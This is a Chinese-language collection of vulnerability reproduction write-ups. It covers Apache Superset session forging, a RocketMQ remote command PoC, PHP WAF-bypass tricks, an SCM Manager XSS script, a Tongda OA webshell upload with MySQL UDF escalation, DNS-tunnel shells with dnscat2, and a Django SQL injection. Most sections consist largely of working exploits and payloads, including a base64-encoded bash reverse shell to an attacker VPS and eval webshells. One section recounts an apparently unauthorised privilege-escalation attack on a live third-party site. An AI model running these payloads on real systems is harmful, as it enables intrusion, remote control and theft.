Apache Superset 身份认证绕过漏洞(CVE-2023-27524)
漏洞简介 Apache Superset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Python web框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY的默认值进行更改,未经身份验证的攻击者通过伪造管理员身份进行访问后台,并通过后台原本数据库执行功能实现命令执行操作。‍ 环境搭建 可以通过 fofa 来搜索相关网站 "Apache Superset" 这里我们通过 docker 来在本地搭建环境 git clone https://github.com/apache/superset.git cd superset git checkout 2.0.0 TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up 官网提供的方法 并没有搭建成功,还是直接在docker 仓库中查找 https://hub.docker.com/r/apache/superset/tags?page=1&ordering=last_updated&name=2.0.0&& docker pull apache/superset:2.0.0 docker exec -it superset superset fab create-admin --username admin --firstname Superset --lastname Admin --email admin@superset.com --password admin docker exec -it superset superset db upgrade docker exec -it superset superset load_examples docker exec -it superset superset init 漏洞复现 利用脚本检测是否存在漏洞并生成相对应的 cookie 访问主页抓取数据包 将生成的 session 替换原本的 session 成功登录 接下来就是想办法 getshell 网络上的文章上是通过后台数据库执行语句来获取权限。 经过复现分析,发现存在的问题还比较多,首先是默认情况下执行语句仅仅支持 SELECT ,需要修改数据库的权限允许其他的一些语句(but 一些版本上是没有对数据库的操作权限的),然后就是获取的权限,本质上也只是获取了数据库的执行权限,数据库有可能并不与 superset 在同一服务器上,再有就是需要数据库本身也需要存在漏洞才可以,我这里选取了 (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞来复现漏洞。 DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; 漏洞分析 感觉这个漏洞有点像前段时间爆出来的 nacos 身份认证绕过漏洞 存在默认的密钥 SECRET_KEYS = [   b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1   b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1   b'thisISaSECRET_1234',                            # deployment template   b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation   b'TEST_NON_DEV_SECRET'                            # docker compose ] Superset 是用 Python 编写的,基于 Flask Web 框架。基于 Flask 的应用程序的常见做法是使用加密签名的会话 cookie 进行用户状态管理。当用户登录时,Web 应用程序将包含用户标识符的会话 cookie 发送回最终用户的浏览器。Web 应用程序使用 SECERT_KEY 对 cookie 进行签名,该值应该时随机生成的,通常存储在本地配置文件中,对于每个 Web 请求,浏览器都会将已签名的会话 cookie 发送回应用程序,然后应用程序验证 cookie 上的签名以处理请求之前重新验证用户。 整段描述下面我感觉跟 JWT 的相关验证方式差不太多,我们具体来操作看看。 首先就是请求的时候我们可以看到 cookie 值 可以解码成功,通过爆破(当然我们这里是已经已知这个 key 值),伪造生成用户的 cookie,替换数据包中的cookie 值,就成功登录成功,之后再次请求的时候,发现我们添加的字段已经被保存在 session 值中 >>> from flask_unsign import session >>> session.decode("eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY") {'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'} >>> session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET') 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY' >>> session.decode(".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM") {'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1} 漏洞修复 拒绝在非调试环境中使用默认密码启动 ‍
CVE-2023-33246命令执行复现分析
RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。 影响版本 <=RocketMQ 5.1.0 <=RocketMQ 4.9.5 环境搭建 docker pull apache/rocketmq:4.9.4 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv     //起nameserver 创建broker.conf,并且修改配置文件内容 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf   //起Broker docker ps http://127.0.0.1:10912/python3 check.py --ip 10.10.14.72 --port 9876 python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget  10.10.14.162:8666/1.txt 使用vulhub直接搭建可能效果好一点儿,否则,不知道为什么在漏洞利用执行上面命令的时候无回显,可能exp的问题 cd vulhub/rocketmq/CVE-2023-33246 docker-compose up -d POC如下 import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "目的IP";        String targetPort = "10911";            String shellHost = "VPSIP";        String shellPort = "Listen-port";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 使用IDEA创建maven项目,创建xml文件下载依赖,下载地址 https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools/4.9.4<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --> <dependency>    <groupId>org.apache.rocketmq</groupId>    <artifactId>rocketmq-tools</artifactId>    <version>4.9.4</version> </dependency> 修改POC import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "10.10.14.72";        String targetPort = "10911";            String shellHost = "10.10.14.72";        String shellPort = "65532";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 反弹结果 git clone https://github.com/SuperZero/CVE-2023-33246.git java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "222 >/root/2.txt" 进入容器,查看根部录下文件是已写入 java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "bash -i >& /dev/tcp/10.10.14.72/65532 0>&1" 反弹shell 漏洞分析 启动broker路由如下: main:50, BrokerStartup (org.apache.rocketmq.broker) start:55, BrokerStartup (org.apache.rocketmq.broker) start:1570, BrokerController (org.apache.rocketmq.broker) startBasicService:1527, BrokerController (org.apache.rocketmq.broker) start:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv) 当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行 调用下面的createFilterServer方法,71行中看到从配置文件中获取参数。72行调用方法buildStartCommand 该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd,在72行拿到拼接后的cmd 进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令 该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。
利用 PHP 特性绕 WAF 测试
在测试绕过 WAF 执行远程代码之前,首先构造一个简单的、易受攻击的远程代码执行脚本,内容如图: 第 6 行是一个比较明显的命令执行代码,第 3 行尝试拦截 system、exec 或 passthru 等函数(PHP 中有许多其他函数可以执行系统命令,这三个是最常见的)。 这个脚本部署在 Cloudflare WAF 和 ModSecurity + OWASP CRS3 之后。对于第一个测试,尝试读取 passwd 的内容; /cfwaf.php?code=system("cat /etc/passwd"); 可以看到,被 CloudFlare 拦截了,我们可以尝试使用未初始化变量的方式绕过,比如: cat /etc$u/passwd Cloudflare WAF 已被绕过,但是由于脚本检查敏感函数,所以被脚本拦截,那么如何绕过脚本的函数检测呢?我们看看关于字符串的 PHP 文档: https://secure.php.net/manual/en/language.types.string.phpPHP 字符串转义序列: [0–7]{1,3} 八进制表示法的字符序列,它会自动溢出以适应一个字节(例如“\400”===“\000”) \x[0–9A-Fa-f]{1,2} 十六进制字符序列(例如“\x41”) \u{[0–9A-Fa-f]+} Unicode 代码点序列,将作为该代码点的 UTF-8 表示输出到字符串(在 PHP 7.0.0 中添加) 不是每个人都知道 PHP 表示字符串的语法,而“PHP 变量函数”则成为我们绕过过滤器和规则的瑞士军刀。 PHP变量函数 PHP 支持变量函数的概念。这意味着如果变量名后面附加了圆括号,PHP 将寻找与变量求值结果同名的函数,并尝试执行它。除其他事项外,这可用于实现回调、函数表等。 这意味着语法如 $var(args); 和 "sting"(args; 等于 func(args); 。如果我可以通过使用变量或字符串来调用函数,则意味着我可以使用转义序列而不是函数名。这里有一个例子: 第三种语法是十六进制符号的转义字符序列,PHP 将其转换为字符串“system”,然后使用参数“ls”转换为函数系统。让我们尝试使用易受攻击的脚本: 此技术不适用于所有 PHP 函数,变量函数不适用于 echo、print、unset()、isset()、empty()、include、require 。利用包装函数将这些构造中的任何一个用作变量函数。 改进用户输入检测 如果我从易受攻击脚本的用户输入中排除双引号和单引号等字符,会发生什么情况?即使不使用双引号也可以绕过它吗?让我们试试: 正如您在第三行看到的,现在脚本阻止在 $_GET[code] 查询字符串参数中使用“和”。我以前的有效负载现在应该被阻止: 幸运的是,在 PHP 中,我们并不总是需要引号来表示字符串。PHP 使您能够声明元素的类型,例如 $a = (string)foo; 在这种情况下,$a 包含字符串“foo”。此外,圆括号内没有特定类型声明的任何内容都被视为字符串: 在这种情况下,我们有两种方法可以绕过新过滤器:第一种是使用类似 (system)(ls) 的方法;但是我们不能在代码参数中使用“system”,所以我们可以像 (sy.(st).em)(ls); 一样连接字符串。第二种是使用 $GET 变量。如果我发送像 ?a=system&b=ls&code=$GETa 这样的请求;结果是:$GET[a] 将替换为字符串“system”,$GET[b] 将替换为字符串“ls”,我将能够绕过所有过滤器! 让我们尝试使用第一个有效负载 (sy.(st).em)(whoami); 和第二个有效载荷 ? ?a=system&b=cat+/etc&c=/passwd&code=$\_GET[a]($\_GET[b].$\_GET[c]); 在这种情况下,没有用,但您甚至可以在函数名称和参数内部插入注释(这可能有助于绕过阻止特定 PHP 函数名称的 WAF 规则集)。以下所有语法均有效: get_defined_functions 函数 此 PHP 函数返回一个多维数组,其中包含所有已定义函数的列表,包括内置(内部)函数和用户定义函数。内部函数可以通过 $arr[“internal”] 访问,用户定义的函数可以使用 $arr[“user”] 访问。例如: 这可能是另一种无需使用其名称即可访问系统功能的方法。如果我对“系统”进行 grep,我可以发现它的索引号并将其用作我的代码执行的字符串: 显然,这应该对我们的 Cloudflare WAF 和脚本过滤器有效: 字符数组 PHP 中的每个字符串都可以用作字符数组(几乎像 Python 那样),您可以使用语法 $string[2] 或 $string[-3] 引用单个字符串字符。这可能是另一种规避阻止 PHP 函数名称的规则的方法。例如,使用这个字符串 $a=”elmsty/ “; 我可以编写语法系统(“ls /tmp”); 如果幸运的话,您可以在脚本文件名中找到所需的所有字符。使用相同的技术,您可以使用类似的方法选择所需的所有字符 OWASP CRS3 有了 OWASP CRS3,一切都变得更难了。首先,使用之前看到的技术,我只能绕过第一个偏执级别,这太神奇了!因为 Paranoia Level 1 只是我们可以在 CRS3 中找到的规则的一小部分,所以这个级别旨在防止任何误报。对于 2 级偏执狂,由于规则 942430“受限 SQL 字符异常检测(args):超出特殊字符数”,所有事情都变得困难。我能做的只是执行一个不带参数的命令,如“ls”、“whoami”等。但我无法像使用 Cloudflare WAF 那样执行类似 system(“cat /etc/passwd”) 的命令:
SCM Manager XSS漏洞复现(CVE-2023-33829)
一、漏洞描述 漏洞简述 SCM-Manager 是一款开源的版本库管理软件,同时支持 subversion、mercurial、git 的版本库管理。安装简单,功能较强,提供用户、用户组的权限管理 ,有丰富的插件支持。由于在MIT的许可下是开源的,因此它允许被用于商业用途,而且其代码可以在GitHub上获取到。该项目最初只是被用于研究目的,而在其2.0版本之后,被Cloudogu公司接手管理和开发了其各种代码库,以便为各个公司提供专业的企业级支持。 该漏洞主要为攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。 漏洞影响范围 供应商:Cloudogu 产品:SCM Manager 确认受影响版本:SCM Manager 1.2 <= 1.60 修复版本:>1.60 最新版本为2.43.1 二、漏洞复现实战 环境搭建 docker镜像: https://bitbucket.org/sdorra/docker-scm-manager/src/master/利用shell脚本搭建 shell: #!/bin/bash mkdir /var/lib/scm chown 1000:1000 /var/lib/scm docker run -v /var/lib/scm:/var/lib/scm -p 8080:8080 sdorra/scm-manager 漏洞复现 首先访问SCM Manager,需身份认证 Username : scmadmin Password: scmadmin repositories repository功能下Description字段该漏洞可利用 创建新repository,并payload进行利用 Git类型: Subversion类型: Users User功能下Display Name字段该漏洞可利用 创建新repository,并payload进行利用 可以看到新创建的账号中Display Name属性下显示异常,且XSS payload利用成功 Groups Group功能下Description字段该漏洞可利用 另外可以根据POC进行利用 POC: import requests import argparse import sys # Main menu parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit') parser.add_argument("-u", "--user", help="Admin user or user with write permissions") parser.add_argument("-p", "--password", help="password of the user") args = parser.parse_args() # Credentials user = sys.argv[2] password = sys.argv[4] # Global Variables main_url = "http://localhost:8080/scm" # Change URL if its necessary auth_url = main_url + "/api/rest/authentication/login.json" users = main_url + "/api/rest/users.json" groups = main_url + "/api/rest/groups.json" repos = main_url + "/api/rest/repositories.json" # Create a session session = requests.Session() # Credentials to send post_data={  'username': user, # change if you have any other user with write permissions  'password': password # change if you have any other user with write permissions } r = session.post(auth_url, data=post_data) if r.status_code == 200:  print("[+] Authentication successfully") else:  print("[-] Failed to authenticate")  sys.exit(1) new_user={  "name": "newUser",  "displayName": "<img src=x onerror=alert('XSS')>",  "mail": "",  "password": "",  "admin": False,  "active": True,  "type": "xml" } create_user = session.post(users, json=new_user) print("[+] User with XSS Payload created") new_group={  "name": "newGroup",  "description": "<img src=x onerror=alert('XSS')>",  "type": "xml" } create_group = session.post(groups, json=new_group) print("[+] Group with XSS Payload created") new_repo={  "name": "newRepo",  "type": "svn",  "contact": "",  "description": "<img src=x onerror=alert('XSS')>",  "public": False } create_repo = session.post(repos, json=new_repo) print("[+] Repository with XSS Payload created") 漏洞修复 建议更新至SCM Manager最新版本,目前为2.43.1 结束语 本文主要介绍了CVE-2023-33829 SCM Manager XSS漏洞复现过程,漏洞主要体现于攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。 本漏洞可参考之处为敏感功能避免重复调用非敏感功能代码,并做好过滤与校验,进行必要的安全测试。
某OA 11.10 未授权任意文件上传
漏洞简介 之前也对通达 oa 做过比较具体的分析和漏洞挖掘,前几天看到通达 oa 11.10 存在未授权任意文件上传漏洞,于是也打算对此进行复现和分析。 环境搭建 https://www.tongda2000.com/download/p2019.php下载地址 :https://cdndown.tongda2000.com/oa/2019/TDOA11.10.exe 查看版本信息 漏洞复现 利用方式一 http://192.168.222.128/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[c]))%3B/*&id=19&module=Carouselimage 利用方式二 无法直接写入带有变量的 php 文件 所以首先利用 无参 webshell <?php @eval(next(getallheaders())); GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/MYOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage HTTP/1.1 Host: 192.168.222.128 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 上传成功后再利用第一次生成的恶意文件再生成文件。 GET /general/test.php HTTP/1.1 Host: 192.168.121.147:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: file_put_contents('test1.php','<?php @eval($_REQUEST[1]);'); Content-Length: 28 Upgrade-Insecure-Requests: 1 但是无法直接直接命令,这是因为权限过低的原因 所以想要进一步的操作,就需要提权。 通过查看配置文件看到 mysql 数据库的密码。 利用蚁剑连接数据库。 查看 mysql 的版本。 SqlMap 中集成了对应的提权文件,不过需要先进行解密操作。 udf.dll的是经过编码运算的,所以需要有一个解密脚本,在这个路径下 sqlmap-master\extra\cloak 对应的 dll 文件路径 sqlmap-master\data\udf\mysql\windows\64 执行解码操作 cloak.py -d -i sqlmap-master\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ 然后将解码好的文件上传到 mysql/lib/plugin/ 路径下 create function sys_eval returns string soname 'lib_mysqludf_sys.dll'; select sys_eval("whoami"); 漏洞分析 general\appbuilder\modules\portal\controllers\GatewayController.php#actionGetdata 首先判断是否存在参数 id 之后根据 module 的值依次执行 GetData与toUTF8方法。 general\appbuilder\modules\portal\models\PortalComponent.php#GetData 根据 id 查询,返回相对对应的数值 $activeTab 的值是从外部获取的。 根据不同的 $module 调用不同的get_data 方法 general\appbuilder\modules\portal\components\AppDesignComponents.php#data_analysis general\appbuilder\modules\appdesign\models\AppUtils.php#toUTF8 这里有一点类似于宽字节注入,利用类型的转换,使得传入的单引号转移后又被编码转换成汉字,最终使得单引号逃逸出来。最后实现命令执行。
DNS隧道流量分析
1.域名准备 选择哪家的云都没问题,国内云需要实名,不建议使用,这里我选择的TX云,因为之前注册过了,自己拿来做个流量分析不成问题 域名添加解析记录 需要准备自己的vps作为DNS隧道的服务端,且需要添加ns记录 2.iodined搭建 关闭53端口关闭开机自启 systemctl stop systemd-resolved systemctl disable systemd-resolved 之后53端口已关闭 启动服务端 iodined -f -c -P 1qaz@WSX 192.168.100.1 ns.xxx.xyz -DD 参数说明 -f:在前台运行 -c:禁止检查所有传入请求的客户端IP地址。 -P:客户端和服务端之间用于验证身份的密码。 -D:指定调试级别,-DD指第二级。“D”的数量随级别增加。 客户端 iodine -f -P 1qaz@WSX ns.aligoogle.xyz -M 200 客户端连接正常,且服务端显示客户端连接成功 查看客户端网卡,因为配置的时候一直不太稳定,所以这里服务端分配的虚拟网卡我更换为了192.168.121.1 测试隧道是否通信 延时比较高,也不稳定。 通过隧道连接目标主机 ssh -p 2222 root@192.168.121.2 这里我换ssh的端口了 但是发现安全设备在连接高危端口的时候无告警 3.流量分析 抓取dns0网卡的流量 tcpdump -i dns0 port 53 -w file.pcap 参数-i 指定网卡, port 指定端口,DNS使用53端口,-w 写入文件。 查看日志发现所有的流量都是DNS日志,但是目的都为自己的VPS 其实能够根据流量特征识别工具类型。 4.试错 本来我是想使用穿透工具通过隧道穿透的,这里使用nps做隧道走socks,想走虚拟网卡需要修改nps配置文件 ./npc -server=192.168.120.1:63323 -vkey=n4jg3lrvg19qlqth -type=tcp 查看nps上线后,需要做端口转发,不做端口转发无法直接使用虚拟地址的隧道,这里其实没有这么走的意义 但是这里发现行不通,参考了一些文章,发现某位师傅写的有点儿问题,这里大可不必,没有所谓的套层+转口转发,单一走隧道都不稳定以及卡的要死,怎么玩儿套娃。 5. dnscat2搭建 安装准备 git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ curl -sSL https://get.rvm.io | bash source /etc/profile.d/rvm.sh rvm install 2.6.0 source /etc/profile.d/rvm.sh rvm use 2.6.0 gem install bundler bundle install ruby ./dnscat2.rb 需要注意这里开放vps的53的udp端口 firewall-cmd --zone=public --add-port=53/udp --permanent firewall-cmd --reload 国内服务器TX云的话需要更换源,下载文件需要科学上网,境内下载tools找不到服务 客户端 git clone https://github.com/iagox86/dnscat2.git cd dnscat2/client/ make ./dnscat --dns server=IP,port=53 --secret=f361f307f523b07352d0bab1b765a888   //直连模式 ./dnscat --dns server=ling.domain --secret=1qaz2wsx             //中继模式 直连模式 Server: Client: 中继模式 ruby ./dnscat2.rb ns.domain -e open -c 1qaz2wsx --no-cache 客户端 ./dnscat --dns domain=ling.domain --secret=1qaz2wsx   ./dnscat --dns server=www.domain --secret=1qaz2wsx   服务端命令 sessions 列出所有session session -i 2 进入session 2 shell:创建交互式shell suspend:返回上一层 exit:退出 clear(清屏) delay(修改远程会话超时时间) exec(执行远程机上的程序) shell(得到一个反弹shell,此处必须在1::command(kali)中使用) download/upload(两端之间上传下载文件) listen <本地端口> <控制端IP/127.0.0.1>:<端口>(端口转发,此处)(此处必须在1::command(kali)中使用)dnscat2> session -i 1 New window created: 1 history_size (session) => 1000 Session 1 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!) This is a command session! That means you can enter a dnscat2 command such as 'ping'! For a full list of clients, try 'help'. command (ubuntu) 1> whoami Error: Unknown command: whoami command (ubuntu) 1> shell Sent request to execute a shell command (ubuntu) 1> New window created: 2 Shell session created! whoami Error: Unknown command: whoami command (ubuntu) 1> session -i 2 New window created: 2 history_size (session) => 1000 Session 2 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!) This is a console session! That means that anything you type will be sent as-is to the client, and anything they type will be displayed as-is on the screen! If the client is executing a command and you don't see a prompt, try typing 'pwd' or something! To go back, type ctrl-z. sh (ubuntu) 2> whoami sh (ubuntu) 2> root tcpdump -i dns0 port 53 -w file.pcap 流量包内的数据内容 请求包和回包区别不大,在返回包多了域名的信息的TXT记录加密传输信息,可以看到DNS的查询请求的域名信息前的一串数据,里面就是加密过后的交互数据。 6 其它工具 跟工具关系不大,隧道的话DNS只要ip和域名没标签,其实走的都是udp的协议,所以在安全设备上都是流量数据,其类似的工具有dns2tcp等,但是总体来讲该隧道比较慢不稳定,比较慢且传输不支持大流量传输。
记一次X站逻辑漏洞到管理员后台
前言: 闲来无事,在群里发现有人推这玩意,一看居然是个cps平台 这就有意思了 我们先去找大哥开一个代理账号 拿到账号之后,登录看看 js也看了下没啥东西,套了cdn,也没上传点 可以添加下级渠道,尝试添加 添加抓包看看 是能添加,添加的时候会返回用户详细参数对吧 点击修改抓包看看,没返回数据 在修改看看 这里127.0.0.1是我没登录这个账号,所以没获取我的ip 然后可以看到pk这个参数是不是对应的返回参数的id 我们尝试修改id越权别的用户id(赌的就是他没做检测,赌的就是他id是遍历的) 首先我们把不用的参数删掉,看看能不能返回,不然修改了别人就容易被发现 正常返回,然后我们在随机改一个 可以没毛病,那么我们改成id是1的,id为1基本上都是管理员 获取了管理员账号开始爆破试下(失败告终) 然后我发现,发过去的参数能和返回的参数对得上 我就想看能不能改 这里我们的role_id是4对吧 我们改成1发包看下 还真可以,roleid就是用户权限组 我们直接登录我们添加的那个账号看看 Ok,成功上去了,由于上传都是强制转换成png格式,我就懒得研究了 总结: 有些开发会偷懒,把后台添加用户(包含管理员)用一个接口,但后台功能肯定是全面的,但还是同一个接口,为了偷懒把前台用户也用这个接口,只是明面上把东西进行阉割处理,但只要进行正确的传参还是可以的,当然这个有运气成分,侥幸而已。
Django SQL注入漏洞复现 (CVE-2022-28347)
漏洞简介 在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain() 中发现了SQL注入问题。这是通过传递一个精心编制的字典(带有字典扩展)作为**options参数来实现的,并将注入负载放置在选项名称中。 影响版本 2.2 =< Django < 2.2.28 3.2 =< Django < 3.2.13 4.0 =< Django < 4.0.4 环境搭建 创建存在 漏洞 Django 版本 3.2.12 项目 创建 startapp Demo 并依次修改文件 安装 postgresql 数据库 settings.py 设置连接数据库为 postgresql 数据库 DATABASES = {    'default': {        'ENGINE': 'django.db.backends.postgresql',        'NAME': 'test',        'USER': 'postgres',        'PASSWORD': '123456',        'HOST': '127.0.0.1',        'PORT': '5432',   } } urls.py 设定对应路由 from django.contrib import admin from django.urls import path from Demo import views urlpatterns = [    path('admin/', admin.site.urls),    path('index/', views.index),    path('demo/', views.users),    path('initialize/', views.loadexampledata), ] models.py from django.db import models # Create your models here. class User(models.Model):    name = models.CharField(max_length=200)    def __str__(self):        return self.name views.py import json from django.http import HttpResponse from django.shortcuts import render # Create your views here. from .models import User def index(request):    return HttpResponse('hello world') def users(request):    query = request.GET.get('q')    query = json.loads(query)    qs = User.objects.get_queryset().explain(**query)    return HttpResponse(qs) def loadexampledata(request):    u = User(name="Admin")    u.save()    u = User(name="Staff1")    u.save()    u = User(name="Staff12")    u.save()    return HttpResponse("ok") ‍ 漏洞复现 http://127.0.0.1:8000/demo/?q={"ANALYZE)+select+pg_sleep(5);--+":"aaa"} 发现成功构造使得服务器沉睡 漏洞分析 在进行代码分析之前,我们先了解一个知识点 EXPLAIN EXPLAIN EXPLAIN -- 显示一个语句的执行计划 EXPLAIN [ ( option [, ...] ) ] statement EXPLAIN [ ANALYZE ] [ VERBOSE ] statement option:    ANALYZE [ boolean ]   执行命令并显示实际运行时间    VERBOSE [ boolean ]   显示规划树完整的内部表现形式,而不仅是一个摘要    COSTS [ boolean ]    BUFFERS [ boolean ]    TIMING [ boolean ]    FORMAT { TEXT | XML | JSON | YAML } statement:    查询执行计划的 SQL 语句,可以是任何 select、insert、update、delete、values、execute、declare 语句 EXPLAIN ANALYZE不仅会显示查询计划,还会实际运行语句。EXPLAIN ANALYZE会丢掉任何来自SELECT语句的输出,但是该语句中的其他操作会被执行(例如INSERT、UPDATE或者DELETE)。 调试分析 django.db.models.query.QuerySet.explain django.db.models.sql.query.Query.explain django.db.models.sql.compiler.SQLCompiler.explain_query django.db.models.sql.compiler.SQLCompiler.execute_sql django.db.models.sql.compiler.SQLCompiler.as_sql 在这里会根据所选择的数据库,来调用其相对应的 explain_query_prefix 方法 django.db.backends.postgresql.operations.DatabaseOperations.explain_query_prefix postgresql 中 重写了 explain_query_prefix 方法将键名拼接到了 SQL 语句中 最后执行的 SQL 语句是 'EXPLAIN (ANALYZE) SELECT PG_SLEEP(5);-- true) SELECT "Demo_user"."id", "Demo_user"."name" FROM "Demo_user"' ‍ 漏洞修复 https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402#diff-fbd8a517f5fa1333b9f7273bcd007551cd2fb4b8f6732cd6002ba42411802901做了一个过滤,发现危险字符就抛出异常 只有字符串在白名单内才会拼接到语句中
针对基于智能卡进行认证的活动目录攻击
